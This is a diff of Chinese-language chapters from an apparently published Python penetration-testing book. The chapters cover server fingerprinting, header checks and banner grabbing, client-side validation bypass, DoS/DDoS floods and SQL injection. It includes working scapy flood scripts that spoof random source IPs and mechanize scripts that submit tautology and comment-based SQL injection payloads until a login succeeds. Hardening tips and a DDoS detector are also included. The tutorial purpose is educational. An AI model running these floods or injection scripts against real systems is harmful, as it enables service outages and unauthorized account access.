== 200: - print "Web page is using custom Error page" - break -``` - -我已经导入了三个模块`re`、`random`和`urllib`,分别负责正则表达式生成随机数和 URL 相关活动。`url1 = raw_input("Enter the URL ")`语句要求提供网站的 URL,并将此 URL 存储在`url1`变量中。接下来,`u = chr(random.randint(97,122))`语句创建一个随机字符。下一条语句将此字符添加到 URL 中,并将其存储在`url2`变量中。然后,`http_r = urllib.urlopen(url2)`语句打开`url2`页面,该页面存储在`http_r`变量中。`content= http_r.read()`语句将网页的所有内容传输到`content`变量中: - -``` -flag =0 -i=0 -list1 = [] -a_tag = "<*address>" -file_text = open("result.txt",'a') -``` - -前面的代码定义了变量标志**`i`和一个空列表,其意义我们将在后面讨论。`a_tag`变量取一个值`"<*address>"`。`file_text`变量是以追加模式打开`result.txt`文件的文件对象。`result.txt`文件存储结果。`while flag ==0:`语句表示我们希望 while 循环至少运行一次。`http_r.code`语句从 web 服务器返回状态代码。如果找不到该页面,它将返回 404 代码:** - - **``` -file_text.write("--------------") -file_text.write(url1) -file_text.write("--------------\n") - -file_text.write(content) -``` - -前面的代码将页面的输出写入`result.txt`文件。 - -`for match in re.finditer(a_tag,content):`语句在错误页面中找到`a_tag`模式,即`
`标记,因为我们对`
`标记之间的信息感兴趣。`s= match.start()`和`e= match.end()`语句表示`
`标签和`list1.append(s)`的起点和终点。`list1.append(e)`语句将这些点存储在列表中,以便我们以后可以使用这些点。`i`变量变得大于 0,这表示错误页面中存在`
`标记。这意味着代码不好。`if len(list1)>0:`语句表示,如果列表至少有一个元素,那么变量`a`和`b`将是关注点。下图显示了这些关注点: - -![Introducing information gathering](graphics/8583OT_05_01.jpg) - -获取地址标记值 - -`print content[a:b]`语句读取`a`和`b`点之间的输出,并设置`flag = 1`以中断`while`循环。`elif http_r.code == 200:`语句表示如果 HTTP 状态码为 200,则会打印`"Web page is using custom Error page"`消息。在这种情况下,如果返回错误页面的代码 200,则表示该错误正在由自定义页面处理。 - -现在是运行输出的时候了,我们将运行它两次。 - -服务器签名打开和关闭时的输出如下: - -![Introducing information gathering](graphics/8583OT_05_02.jpg) - -程序的两个输出 - -前面的屏幕截图显示了服务器签名打开时的输出。通过查看此输出,可以说 web 软件为**Apache**,版本为**2.2.3**,操作系统为 Red Hat。在下一个输出中,没有来自服务器的信息意味着服务器签名已关闭。有时有人会使用 web 应用程序防火墙,比如 mod security,它会提供一个虚假的服务器签名。在这种情况下,您需要检查`result.txt`文件以获得完整详细的输出。我们来查看`result.txt`的输出,如下图所示: - -![Introducing information gathering](graphics/8583OT_05_03.jpg) - -result.txt 的输出 - -当存在多个 URL 时,您可以列出所有这些 URL 并将其提供给程序,该文件将包含所有 URL 的输出。 - -## 检查 HTTP 报头 - -通过查看网页的标题,可以得到相同的输出。有时,可以通过编程更改服务器错误输出。但是,检查标头可能会提供大量信息。一个非常小的代码可以为您提供一些非常详细的信息,如下所示: - -``` -import urllib -url1 = raw_input("Enter the URL ") -http_r = urllib.urlopen(url1) -if http_r.code == 200: - print http_r.headers -``` - -`print http_r.headers`语句提供 web 服务器的头。 - -输出如下: - -![Checking the HTTP header](graphics/8583OT_05_04.jpg) - -获取标题信息 - -您会注意到我们从程序中获取了两个输出。在第一次输出中,我们输入了[http://www.juggyboy.com/](http://www.juggyboy.com/) 作为 URL。该程序提供了很多有趣的信息,如**服务器:微软 IIS/6.0**和**X-Powered-By:ASP.NET**;推断网站托管在 Windows 机器上,web 软件为**IIS 6.0**,而**ASP.NET**用于 web 应用程序编程。 - -在第二个输出中,我提供了本地机器的 IP 地址,即`http://192.168.0.5/`。该程序透露了一些秘密信息,例如 web 软件是 Apache2.2.3,它运行在 Red Hat 机器上,PHP 5.1 用于 web 应用程序编程。通过这种方式,您可以获得有关操作系统、web 服务器软件和 web 应用程序的信息。 - -现在,让我们看看如果服务器签名关闭,我们将得到什么输出: - -![Checking the HTTP header](graphics/8583OT_05_05.jpg) - -当服务器签名关闭时 - -从前面的输出中,我们可以看到 Apache 正在运行。但是,它既不显示版本也不显示操作系统。对于 web 应用程序编程,使用了 PHP,但有时,输出不显示编程语言。为此,您必须解析网页以获得任何有用的信息,例如超链接。 - -如果要获取表头的详细信息,请打开表头的`dir`,如下代码所示: - -``` - >>> import urllib ->>> http_r = urllib.urlopen("http://192.168.0.5/") ->>> dir(http_r.headers) -['__contains__', '__delitem__', '__doc__', '__getitem__', '__init__', '__iter__', '__len__', '__module__', '__setitem__', '__str__', 'addcontinue', 'addheader', 'dict', 'encodingheader', 'fp', 'get', 'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate', 'getdate_tz', 'getencoding', 'getfirstmatchingheader', 'getheader', 'getheaders', 'getmaintype', 'getparam', 'getparamnames', 'getplist', 'getrawheader', 'getsubtype', 'gettype', 'has_key', 'headers', 'iscomment', 'isheader', 'islast', 'items', 'keys', 'maintype', 'parseplist', 'parsetype', 'plist', 'plisttext', 'readheaders', 'rewindbody', 'seekable', 'setdefault', 'startofbody', 'startofheaders', 'status', 'subtype', 'type', 'typeheader', 'unixfrom', 'values'] ->>> ->>> http_r.headers.type -'text/html' ->>> http_r.headers.typeheader -'text/html; charset=UTF-8' ->>> -```** **# 用户组从 SmartWhois 收集网站信息 - -考虑一个你想从网页中收集所有超链接的情况。在本节中,我们将通过编程来实现这一点。另一方面,这也可以通过查看网页的视图源手动完成。然而,这需要一些时间。 - -因此,让我们了解一个名为 BeautifulSoup 的非常漂亮的解析器。此解析器来自第三方源代码,非常易于使用。在我们的代码中,我们将使用 BeautifulSoup 的版本 4。 - -要求是 HTML 页面和超链接的标题。 - -代码如下: - -``` -import urllib -from bs4 import BeautifulSoup -url = raw_input("Enter the URL ") -ht= urllib.urlopen(url) -html_page = ht.read() -b_object = BeautifulSoup(html_page) -print b_object.title -print b_object.title.text -for link in b_object.find_all('a'): - print(link.get('href')) -``` - -`from bs4 import BeautifulSoup`语句用于导入 BeautifulSoup 库。`url`变量存储网站的 URL,`urllib.urlopen(url)`打开网页,`ht.read()`函数存储网页。`html_page = ht.read()`语句将网页分配给`html_page`变量。为了更好地理解,我们使用了这个变量。在`b_object = BeautifulSoup(html_page)`语句中,创建了`b_object`的对象。下一条语句打印带有标记和不带标记的标题名。下一个`b_object.find_all('a')`语句保存所有超链接。下一行仅打印超链接部分。程序的输出将清除所有疑问,如以下屏幕截图所示: - -![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_06.jpg) - -所有超链接和标题 - -现在,您已经了解了如何使用漂亮的解析器获得超链接和标题。 - -在下一个代码中,我们将在 BeautifulSoup 的帮助下获得一个特定字段: - -``` -import urllib -from bs4 import BeautifulSoup -url = "https://www.hackthissite.org" -ht= urllib.urlopen(url) -html_page = ht.read() -b_object = BeautifulSoup(html_page) -data = b_object.find('div', id ='notice') -print data -``` - -前面的代码取了[https://www.hackthissite.org](https://www.hackthissite.org) 作为`url`,在下面的代码中,我们感兴趣的是找到`
`在哪里,如下面的截图所示: - -![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_07.jpg) - -div ID 信息 - -现在让我们在下面的屏幕截图中看到前面代码的输出: - -![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_08.jpg) - -代码的输出 - -考虑另一个你想收集网站信息的例子。在为特定网站收集信息的过程中,您可能使用了[http://smartwhois.com/](http://smartwhois.com/) 。通过使用 SmartWhois,您可以获得有关任何网站的有用信息,例如注册人姓名、注册人组织、名称服务器等。 - -在以下代码中,您将看到如何从 SmartWhois 获取信息。在信息收集的过程中,我研究了 SmartWhois,发现它的`
`标签保留了相关信息。以下程序将从该标记收集信息,并以可读形式保存在文件中: - -``` -import urllib -from bs4 import BeautifulSoup -import re -domain=raw_input("Enter the domain name ") -url = "http://smartwhois.com/whois/"+str(domain) -ht= urllib.urlopen(url) -html_page = ht.read() -b_object = BeautifulSoup(html_page) -file_text= open("who.txt",'a') -who_is = b_object.body.find('div',attrs={'class' : 'whois'}) -who_is1=str(who_is) - -for match in re.finditer("Domain Name:",who_is1): - s= match.start() - -lines_raw = who_is1[s:] -lines = lines_raw.split("
",150) -i=0 -for line in lines : - file_text.writelines(line) - file_text.writelines("\n") - print line - i=i+1 - if i==17 : - break -file_text.writelines("-"*50) -file_text.writelines("\n") -file_text.close() -``` - -让我们分析一下`file_text= open("who.txt",'a')`语句,因为我希望您遵循前面的代码。`file_text`文件对象以追加模式打开`who.txt`文件来存储结果。`who_is = b_object.body.find('div',attrs={'class' : 'whois'})`语句生成所需的结果。但是,`who_is`并不包含字符串形式的所有数据。如果我们使用`b_object.body.find('div',attrs={'class' : 'whois'}).text`,它将输出包含标签的所有文本,但这些信息变得非常难以阅读。`who_is1=str(who_is)`语句将信息转换为字符串形式: - -``` -for match in re.finditer("Domain Name:",who_is1): - s= match.start() -``` - -前面的代码找到了`"Domain Name:"`字符串的起点,因为我们有价值的信息在这个字符串后面。`lines_raw`变量包含`"Domain Name:"`字符串后面的信息。`lines = lines_raw.split("
",150)`语句使用`
`分隔符分隔行,`"lines"`变量成为一个列表。这意味着在 HTML 页面中,如果存在中断符**`
`**,则语句将生成一个新行,所有行将存储在名为 lines 的列表中。`i=0`变量初始化为 0,将进一步用于打印行数作为结果。下面的代码以存在于硬盘上的文件形式保存结果,并在屏幕上显示结果。**** - - ****屏幕输出如下所示: - -![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_09.jpg) - -SmartWhois 提供的信息 - -现在,让我们查看文件中的代码输出: - -![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_10.jpg) - -代码在文件中的输出 - -### 注 - -您已经看到了如何从网页中获取超链接,通过使用前面的代码,您可以获取有关超链接的信息。不要停在这里;相反,请尝试在[阅读更多关于 BeautifulSoup 的 http://www.crummy.com/software/BeautifulSoup/bs4/doc/](http://www.crummy.com/software/BeautifulSoup/bs4/doc/) 。 - -现在,让我们进行一个练习,将列表中的域名作为输入,并将结果写入一个文件中。**** ****# 网站的横幅抓取 - -在本节中,我们将获取一个网站的 HTTP 横幅。**抓取横幅**或**操作系统指纹**是确定目标 web 服务器上运行的操作系统的一种方法。在下面的程序中,我们将在我们的计算机上嗅探网站的数据包,正如我们在[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*中所做的那样。 - -横幅抓取器的代码如下所示: - -``` -import socket -import struct -import binascii -s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) -while True: - - pkt = s.recvfrom(2048) - banner = pkt[0][54:533] - print banner - print "--"*40 -``` - -由于您必须已经阅读了[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*,因此您应该熟悉此代码。`banner = pkt[0][54:533]`声明在这里是新的。在`pkt[0][54:]`之前,数据包包含 TCP、IP 和以太网信息。在做了一些点击追踪后,我发现抓取横幅的信息位于`[54:533]`之间,你可以通过切片`[54:540]`、`[54:545]`、`[54:530]`等进行点击追踪。 - -要获得输出,您必须在程序运行时在 web 浏览器中打开网站,如下图所示: - -![Banner grabbing of a website](graphics/8583OT_05_11.jpg) - -抢旗 - -因此,前面的输出显示服务器是 Microsoft IIS.6.0,ASP.NET 是正在使用的**编程语言。我们得到的信息与我们在报头检查过程中收到的信息相同。请尝试此代码,并使用不同的状态代码获取更多信息。** - - **通过使用前面的代码,您可以为自己准备信息收集报告。当我将信息收集方法应用到网站上时,我通常会发现客户犯了很多错误。在下一节中,您将看到 web 服务器上最常见的错误。** **# 强化 web 服务器 - -在本节中,让我们介绍一下在 web 服务器上观察到的常见错误。我们还将讨论以下几点来强化 web 服务器: - -* 始终隐藏服务器签名。 -* 如果可能,设置一个伪造的服务器签名,这可能会误导攻击者。 -* 处理错误。 -* 尝试隐藏编程语言页面扩展,因为攻击者很难看到 web 应用程序的编程语言。 -* 使用供应商提供的最新修补程序更新 web 服务器。它避免了任何利用 web 服务器的机会。至少可以保护服务器的已知漏洞。 -* 不要使用第三方补丁来更新 web 服务器。第三方修补程序可能包含特洛伊木马、病毒等。 -* 不要在 web 服务器上安装其他应用程序。如果安装操作系统(如 RHEL 或 Windows),请不要安装其他不必要的软件(如 Office 或 Editor),因为它们可能包含漏洞。 -* 关闭除`80`和`443`之外的所有端口。 -* 不要在 web 服务器上安装任何不必要的编译器,如 gcc。如果攻击者破坏了 web 服务器并希望上载可执行文件,则 ID 或 IP 可以检测到该文件。在这种情况下,攻击者将在 web 服务器上上载代码文件(以文本文件的形式),并在 web 服务器上执行该文件。此执行可能会损坏 web 服务器。 -* 设置活动用户的数量限制,以防止 DDOS 攻击。 -* 在 web 服务器上启用防火墙。防火墙做很多事情,比如关闭端口、过滤流量等等。 - -# 总结 - -在本章中,我们了解了 web 服务器签名的重要性,获得服务器签名是黑客攻击的第一步。亚伯拉罕·林肯曾经说过: - -> *“给我六个小时砍树,我会用前四个小时磨斧头。”* - -同样的情况也适用于我们的情况。在对 web 服务器发起攻击之前,最好准确地检查哪些服务正在其上运行。这是通过 web 服务器的脚打印完成的。错误处理技术是一个被动过程。标题检查和横幅抓取是收集 web 服务器信息的活动过程。在本章中,我们还了解了解析器 Beautifulsoup。可以从 Beautifulsoup 获得超链接、标记、ID 等部分。在上一节中,您已经看到了一些关于强化 web 服务器的指导原则。如果您遵循这些准则,您可能会使您的 web 服务器难以受到攻击。 - -在下一章中,您将学习客户端验证和参数调整。您将学习如何生成和检测 DoS 和 DDOS 攻击。******** \ No newline at end of file diff --git a/trans/py-pentest-dev/16.md b/trans/py-pentest-dev/16.md deleted file mode 100644 index 3f84f96..0000000 --- a/trans/py-pentest-dev/16.md +++ /dev/null @@ -1,364 +0,0 @@ -# 第 6 章客户端和 DDoS 攻击 - -在上一章中,您学习了如何解析 web 页面以及如何从 HTML 页面收集特定信息。在本章中,我们将介绍以下主题: - -* 网页中的验证 -* 验证类型 -* 验证的渗透测试 -* 拒绝服务攻击 -* 分布式拒绝服务攻击 -* DDoS 检测 - -# 引入客户端验证 - -在 web 浏览器中访问网页时,通常需要打开表单,填写表单,然后提交表单。填写表单时,有些字段可能会有限制,比如用户名,用户名应该是唯一的;密码,应大于 8 个字符,并且这些字段不应为空。为此,使用了两种类型的验证,即客户端验证和服务器端验证。PHP 和 ASP.NET 等语言使用服务器端验证,获取输入参数并将其与服务器数据库匹配。 - -在客户端验证中,验证在客户端完成。JavaScript 用于客户端验证。快速响应和简单实现使客户端验证在一定程度上受益。然而,频繁使用客户端验证为攻击者提供了一种简单的攻击方式;服务器端验证比客户端验证更安全。普通用户可以在 web 浏览器上看到正在发生的事情。但是黑客可以看到在网络浏览器之外可以做什么。下图说明了客户端和服务器端验证: - -![Introducing client-side validation](graphics/8583OT_06_01_new.jpg) - -PHP 起着中间层的作用。它将 HTML 页面连接到 SQL Server。 - -# 用 Python 篡改客户端参数 - -最常用的两种方法 POST 和 GET 用于传递 HTTP 协议中的参数。如果网站使用 GET 方法,其传递参数显示在 URL 中,您可以更改此参数并将其传递给 web 服务器;这与 POST 方法不同,后者的参数不显示在 URL 中。 - -在本节中,我们将使用带有简单 JavaScript 代码的虚拟网站,以及 POST 方法传递并托管在 Apache web 服务器上的参数。 - -让我们看看`index.php`代码: - -``` - - - -

Leave your Comments

-
-
- - - - Your name: - - -

- - - Comments

- - - - - - - - -
- - Old comments - - - -``` - -我希望你能理解 HTML、JavaScript 和 PHP 代码。前面的代码显示了一个示例表单,它包括两个文本提交字段,名称和注释: - -``` -if((formObj.name.value.length<1) || (formObj.name.value=="HACKER")) -{ -alert("Enter your name"); -return false; -} -if(formObj.comment.value.length<1) -{ -alert("Enter your comment."); -return false; -} -``` - -前面的代码显示验证。如果名称字段为空或填写为`HACKER`,则会显示一个警告框,如果注释字段为空,则会显示一条警告消息,您可以在其中输入注释,如下图所示: - -![Tampering with the client-side parameter with Python](graphics/8583OT_06_02.jpg) - -验证警报框 - -所以我们的挑战是绕过验证并提交表单。您之前可能已经使用 Burp 套件完成了此操作。现在,我们将使用 Python 来实现这一点。 - -在上一章中,您看到了 BeautifulSoup 工具;现在我将使用一个名为**mechanize**的 Python 浏览器。mechanize web 浏览器提供了在网页中获取表单的工具,还方便了输入值的提交。通过使用 mechanize,我们将绕过验证,如下代码所示: - -``` -import mechanize -br = mechanize.Browser() -br.set_handle_robots( False ) -url = raw_input("Enter URL ") -br.set_handle_equiv(True) -br.set_handle_gzip(True) -br.set_handle_redirect(True) -br.set_handle_referer(True) -br.set_handle_robots(False) -br.open(url) -for form in br.forms(): - print form -``` - -我们所有的代码片段都以`import`语句开头。因此,我们在这里导入`mechanize`模块。下一个行创建`mechanize`类的`br`对象。`url = raw_input("Enter URL ")`语句要求用户输入。接下来的五行表示有助于重定向和`robots.txt`处理的浏览器选项。`br.open(url)`语句打开我们提供的 URL。下一条语句在网页上打印表单。现在,让我们检查一下`paratemp.py`程序的输出: - -![Tampering with the client-side parameter with Python](graphics/8583OT_06_03_new.jpg) - -程序输出显示存在两个名称值。第一个是**名称**,第二个是**注释**,将传递到动作页面。现在我们已经收到了参数。让我们看看代码的其余部分: - -``` -br.select_form(nr=0) -br.form['name'] = 'HACKER' -br.form['comment'] = '' -br.submit() -``` - -第一行用于选择表单。在我们的网站上,只有一个表格。`br.form['name'] = 'HACKER'`语句填充名称字段中的值`HACKER`,下一行填充空注释,最后一行提交值。 - -现在,让我们看看双方的结果。代码的输出如下所示: - -![Tampering with the client-side parameter with Python](graphics/8583OT_06_04.jpg) - -提交表格 - -网站的输出如下图所示: - -![Tampering with the client-side parameter with Python](graphics/8583OT_06_05.jpg) - -验证旁路 - -前面的屏幕截图显示它已经成功了。 - -现在,您必须对如何绕过验证有了一个合理的想法。一般来说,人们认为 POST 方法发送的参数是安全的。然而,在前面的实验中,您已经看到对于内部网络中的普通用户来说是安全的。如果网站仅由内部用户使用,那么客户端验证是一个不错的选择。然而,如果您对电子商务网站使用客户端验证,那么您只是在邀请攻击者利用您的网站进行攻击。在下面的主题中,您将看到客户端验证对业务的一些不良影响。 - -# 参数篡改对业务的影响 - -作为一名 pentester,您通常需要分析源代码。如今,电子商务的世界正在迅速发展。考虑一个电子商务网站的例子,如下面的截图所示: - -![Effects of parameter tampering on business](graphics/8583OT_06_06.jpg) - -网站示例 - -上面的截图显示**诺基亚 C7**的价格为**60**,而**iPhone 3G**的价格为**600**。您不知道这些价格是来自数据库还是写在网页上。以下屏幕截图显示了两款手机的价格: - -![Effects of parameter tampering on business](graphics/8583OT_06_07.jpg) - -查看源代码 - -现在,让我们看看源代码,如以下屏幕截图所示: - -![Effects of parameter tampering on business](graphics/8583OT_06_08_new.jpg) - -请看前面屏幕截图中的矩形框。价格**60**写入网页,但价格 600 取自数据库。如果使用 GET 方法,则可以通过 URL 篡改来更改**60**的价格。价格可以由 60 改为 6。这将严重影响业务。在白盒测试中,客户端会给你源代码,你可以分析这些代码,但在黑盒测试中,你必须使用攻击进行测试。如果使用 POST 方法,则可以使用 Mozilla 插件篡改数据([https://addons.mozilla.org/en-US/firefox/addon/tamper-data/](https://addons.mozilla.org/en-US/firefox/addon/tamper-data/) 用于参数篡改。您必须手动完成,因此,不需要使用 Python 编程。 - -# 引入 DoS 和 DDoS - -在本节中,我们将讨论一种最致命的攻击,称为拒绝服务攻击。此攻击的目的是消耗机器或网络资源,使其无法供预期用户使用。通常,攻击者在每次其他攻击失败时使用此攻击。这种攻击可以在数据链路、网络或应用层进行。通常,web 服务器是黑客的目标。在 DoS 攻击中,攻击者向 web 服务器发送大量请求,目的是消耗网络带宽和机器内存。在**分布式拒绝服务**(**DDoS**攻击中,攻击者从不同 IP 发送大量请求。为了执行 DDoS,攻击者可以使用特洛伊木马或 IP 欺骗。在本节中,我们将进行各种实验以完成我们的报告。 - -## 单 IP 单端口 - -在这次攻击中,我们使用单个 IP(可能是伪造的)从单个源端口号向 web 服务器发送大量数据包。这是一种非常低级的 DoS 攻击,这将测试 web 服务器的请求处理能力。 - -以下是`sisp.py`的代码: - -``` -from scapy.all import * -src = raw_input("Enter the Source IP ") -target = raw_input("Enter the Target IP ") -srcport = int(raw_input("Enter the Source Port ")) -i=1 -while True: - IP1 = IP(src=src, dst=target) - TCP1 = TCP(sport=srcport, dport=80) - pkt = IP1 / TCP1 - send(pkt,inter= .001) - print "packet sent ", i - i=i+1 -``` - -我使用 scapy 编写了这段代码,希望您熟悉这段代码。前面的代码要求三件事:源 IP 地址、目标 IP 地址和源端口地址。 - -让我们检查攻击者机器上的输出: - -![Single IP single port](graphics/8583OT_06_09_new.jpg) - -单端口单 IP - -我使用了一个伪造的 IP 来隐藏我的身份。您必须发送大量数据包来检查 web 服务器的行为。在攻击过程中,尝试打开托管在 web 服务器上的网站。不管是否有效,将你的发现写在报告中。 - -让我们检查服务器端的输出: - -![Single IP single port](graphics/8583OT_06_10.jpg) - -服务器上的 Wireshark 输出 - -此输出显示我们的数据包已成功发送到服务器。用不同的序列号重复此程序。 - -## 单 IP 多端口 - -现在,在这个攻击中,我们使用一个 IP 地址,但使用多个端口。 - -在这里,我已经编写了`simp.py`程序的代码: - -``` -from scapy.all import * - -src = raw_input("Enter the Source IP ") -target = raw_input("Enter the Target IP ") - -i=1 -while True: - for srcport in range(1,65535): - IP1 = IP(src=src, dst=target) - TCP1 = TCP(sport=srcport, dport=80) - pkt = IP1 / TCP1 - send(pkt,inter= .0001) - print "packet sent ", i - i=i+1 -``` - -我对端口使用了`for`循环,让我们检查攻击者的输出: - -![Single IP multiple port](graphics/8583OT_06_11_new.jpg) - -来自攻击者机器的数据包 - -前面的截图显示数据包发送成功。现在,检查目标机器上的输出: - -![Single IP multiple port](graphics/8583OT_06_12.jpg) - -目标计算机中出现的数据包 - -在前面的屏幕截图中,矩形框显示端口号。我将让您用一个端口创建多个 IP。 - -## 多 IP 多端口 - -在本节中,我们将讨论具有多个端口地址的多 IP。在这次攻击中,我们使用不同的 IP 将数据包发送到目标。多个 IP 表示欺骗 IP。以下程序将从伪造的 IP 发送大量数据包: - -``` -import random -from scapy.all import * -target = raw_input("Enter the Target IP ") - -i=1 -while True: - a = str(random.randint(1,254)) - b = str(random.randint(1,254)) - c = str(random.randint(1,254)) - d = str(random.randint(1,254)) - dot = "." - src = a+dot+b+dot+c+dot+d - print src - st = random.randint(1,1000) - en = random.randint(1000,65535) - loop_break = 0 - for srcport in range(st,en): - IP1 = IP(src=src, dst=target) - TCP1 = TCP(sport=srcport, dport=80) - pkt = IP1 / TCP1 - send(pkt,inter= .0001) - print "packet sent ", i - loop_break = loop_break+1 - i=i+1 - if loop_break ==50 : - break -``` - -在前面的代码中,我们使用了`a`、`b`、`c`和`d`变量来存储四个随机字符串,范围从 1 到 254。`src`变量存储随机 IP 地址。在这里,我们使用了`loop_break`变量在 50 个数据包之后中断`for`循环。这意味着 50 个数据包来自一个 IP,而其余代码与前一个相同。 - -让我们检查一下`mimp.py`程序的输出: - -![Multiple IP multiple port](graphics/8583OT_06_13_new.jpg) - -具有多个端口的多 IP - -在前面的屏幕截图中,您可以看到在数据包 50 之后,IP 地址发生了变化。 - -让我们检查目标机器上的输出: - -![Multiple IP multiple port](graphics/8583OT_06_14.jpg) - -Wireshark 上目标机器的输出 - -使用多台机器并执行此代码。在前面的屏幕截图中,您可以看到机器回复到源 IP。这种类型的攻击非常难以检测,因为很难区分数据包是来自有效主机还是来自欺骗主机。 - -## DDoS 检测 - -当我攻读工程硕士学位时,我和我的朋友正在研究 DDoS 攻击。这是一种非常严重且难以检测的攻击,几乎无法猜测流量是来自假主机还是真主机。在 DoS 攻击中,流量仅来自一个来源,因此我们可以阻止该特定主机。基于某些假设,我们可以制定规则来检测 DDoS 攻击。如果 web 服务器仅运行包含端口 80 的流量,则应该允许它。现在,让我们看一段非常简单的代码来检测 DDoS 攻击。程序名称为`DDOS_detect1.py`: - -``` -import socket -import struct -from datetime import datetime -s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) -dict = {} -file_txt = open("dos.txt",'a') -file_txt.writelines("**********") -t1= str(datetime.now()) -file_txt.writelines(t1) -file_txt.writelines("**********") -file_txt.writelines("\n") -print "Detection Start ......." -D_val =10 -D_val1 = D_val+10 -while True: - - pkt = s.recvfrom(2048) - ipheader = pkt[0][14:34] - ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) - IP = socket.inet_ntoa(ip_hdr[3]) - print "Source IP", IP - if dict.has_key(IP): - dict[IP]=dict[IP]+1 - print dict[IP] - if(dict[IP]>D_val) and (dict[IP]D_val) and (dict[IP]D_val)`检测传入数据包的计数是否超过`D_val`值。如果超过,后续语句在得到新包后将 IP 写入`dos.txt`。为了避免冗余,使用了`(dict[IP] 0`,则用户可以访问其帐户。如果攻击者在用户名和密码字段中输入`1" or "1"="1`,则查询如下: - -``` - $sql = "SELECT count(*) FROM cros where (User="1" or "1"="1." and Pass="1" or "1"="1")";. -``` - -`User`和`Pass`字段将保留`true`,而`count(*)`字段将自动变为`count(*)> 0`。 - -让我们编写`sql_form6.py`代码并逐行分析: - -``` -import mechanize -import re -br = mechanize.Browser() -br.set_handle_robots( False ) -url = raw_input("Enter URL ") -br.set_handle_equiv(True) -br.set_handle_gzip(True) -br.set_handle_redirect(True) -br.set_handle_referer(True) -br.set_handle_robots(False) -br.open(url) - -for form in br.forms(): - print form -br.select_form(nr=0) -pass_exp = ["1'or'1'='1",'1" or "1"="1'] - -user1 = raw_input("Enter the Username ") -pass1 = raw_input("Enter the Password ") - -flag =0 -p =0 -while flag ==0: - br.select_form(nr=0) - br.form[user1] = 'admin' - br.form[pass1] = pass_exp[p] - br.submit() - data = "" - for link in br.links(): - data=data+str(link) - - list = ['logout','logoff', 'signout','signoff'] - data1 = data.lower() - - for l in list: - for match in re.findall(l,data1): - flag = 1 - if flag ==1: - print "\t Success in ",p+1," attempts" - print "Successfull hit --> ",pass_exp[p] - - elif(p+1 == len(pass_exp)): - print "All exploits over " - flag =1 - else : - p = p+1 -``` - -在`for`循环之前,您应该能够理解程序。`pass_exp`变量表示包含基于重言式的密码攻击的列表。`user1`和`pass1`变量要求用户输入用户名和密码字段,如表单所示。`flag=0`变量使`while`循环继续,`p`变量初始化为`0`。在`while`循环(即`br.select_form(nr=0)`语句)中,选择 HTML 表单一。实际上,此代码基于这样的假设:当您转到登录屏幕时,它将在第一个 HTML 表单中包含登录用户名和密码字段。`br.form[user1] = 'admin'`语句存储用户名;实际上,我用它使代码简单易懂。`br.form[pass1] = pass_exp[p]`语句显示传递给`br.form[pass1]`的`pass_exp`列表的元素。接下来,`for`循环部分将输出转换为字符串格式。我们如何知道密码是否已成功接受?您已经看到,在成功登录到页面后,您将在页面上找到一个注销或注销选项。我在一个名为`list`的列表中存储了注销和注销选项的不同组合。`data1 = data.lower()`语句将所有数据更改为小写。这样可以很容易地在数据中找到注销或注销条款。现在,让我们看看代码: - -``` -for l in list: - for match in re.findall(l,data1): - flag = 1 -``` - -前面的代码将在`data1`中找到`list`的任何值。如果找到匹配项,则`flag`变为`1`;这将打破`while`循环。接下来,`if flag ==1`语句将显示成功的尝试。让我们看下一行代码: - -``` -elif(p+1 == len(pass_exp)): - print "All exploits over " - flag =1 -``` - -前面的代码显示,如果`pass_exp`列表的所有值都已结束,则`while`循环将中断。 - -现在,让我们检查以下屏幕截图中的代码输出: - -![Understanding the SQL injection attack by a Python script](graphics/8583OT_07_04.jpg) - -SQL 注入攻击 - -前面的屏幕截图显示了代码的输出。这是清除程序逻辑的非常基本的代码。现在,我希望您修改代码并生成新的代码,您可以为密码和用户名提供列表值。 - -我们可以为包含`user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ]`的用户名编写不同的代码(`sql_form7.py`,并在密码字段中填写任何内容。此列表背后的逻辑是,在 admin 字符串`–`或`#`进行注释之后,该行的其余部分在 SQL 语句中: - -``` -import mechanize -import re -br = mechanize.Browser() -br.set_handle_robots( False ) -url = raw_input("Enter URL ") -br.set_handle_equiv(True) -br.set_handle_gzip(True) -br.set_handle_redirect(True) -br.set_handle_referer(True) -br.set_handle_robots(False) -br.open(url) - -for form in br.forms(): - print form -form = raw_input("Enter the form name " ) -br.select_form(name =form) -user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ] - -user1 = raw_input("Enter the Username ") -pass1 = raw_input("Enter the Password ") - -flag =0 -p =0 -while flag ==0: - br.select_form(name =form) - br.form[user1] = user_exp[p] - br.form[pass1] = "aaaaaaaa" - br.submit() - data = "" - for link in br.links(): - data=data+str(link) - - list = ['logout','logoff', 'signout','signoff'] - data1 = data.lower() - - for l in list: - for match in re.findall(l,data1): - flag = 1 - if flag ==1: - print "\t Success in ",p+1," attempts" - print "Successfull hit --> ",user_exp[p] - - elif(p+1 == len(user_exp)): - print "All exploits over " - flag =1 - else : - p = p+1 -``` - -在前面的代码中,我们又使用了一个变量`form`;在输出中,您必须选择表单名称。在`sql_form6.py`代码中,我假设用户名和密码包含在表单编号`1`中。 - -前面代码的输出如下所示: - -![Understanding the SQL injection attack by a Python script](graphics/8583OT_07_05.jpg) - -SQL 注入用户名查询漏洞 - -现在,我们可以合并`sql_form6.py`和`sql_from7.py`代码并生成一个代码。 - -为了减轻前面的 SQL 注入攻击,您必须设置一个过滤程序来过滤用户输入的输入字符串。在 PHP 中,`mysql_real_escape_string()`函数用于过滤。下面的屏幕截图显示了如何使用此功能: - -![Understanding the SQL injection attack by a Python script](graphics/8583OT_07_06.jpg) - -PHP 中的 SQL 注入过滤器 - -到目前为止,您已经了解了如何执行 SQL 注入攻击。在 SQL 注入攻击中,我们必须手动执行很多操作,因为有很多 SQL 注入攻击,例如基于时间、基于 SQL 查询的包含顺序、基于联合等。每个 pentester 